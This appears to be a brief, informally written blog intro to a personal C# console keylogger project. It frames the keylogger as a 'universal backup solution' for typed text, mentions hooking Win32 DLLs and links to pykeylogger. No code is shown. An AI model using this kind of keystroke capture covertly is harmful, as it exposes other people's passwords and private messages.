I am always interested in about how to use technology to do meaningful thing or just only for funny.
The main goal is to create a "universal backup solution" for everything you type.
through this project you will know how to get in win32 dll. I was stupid don't know it.
project alway has business with the win or linx(operation system).
some open source one have more function reference to http://sourceforge.net/apps/mediawiki/pykeylogger/index.php?title=Main_Page
below is console project of csharp.
